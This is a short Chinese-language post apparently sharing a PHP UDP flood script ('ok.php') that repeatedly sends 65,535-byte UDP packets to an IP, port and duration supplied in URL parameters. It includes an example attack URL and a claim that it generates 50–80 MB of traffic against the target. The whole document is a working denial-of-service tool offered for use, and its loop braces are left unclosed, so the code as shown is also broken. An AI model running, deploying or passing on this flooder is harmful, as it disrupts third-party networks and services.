php udp攻擊

less ok.php

<?php

$packets = 0;

$ip = $_GET['ip'];

$rand = $_GET['port'];

set_time_limit(0);

ignore_user_abort(FALSE);

$exec_time = $_GET['time'];

$time = time();

print "Flooded: $ip on port $rand <br><br>";

$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){

        $out .= "X";

}

while(1){

$packets++;

        if(time() > $max_time){

                break;

        }

        $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);

        if($fp){

                fwrite($fp, $out);

                fclose($fp);

echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n";

?>

<a href="http://webip/ok.php?ip=%B1%BB%B9%A5%BB%F7IP&amp;port=80&amp;time=10" target="_blank">http://webip/ok.php?ip=被攻擊IP&amp;port=80&amp;time=10</a>

可以對被攻擊的IP産生50M-80M的流量，謹慎使用，後果自負！可以測試！
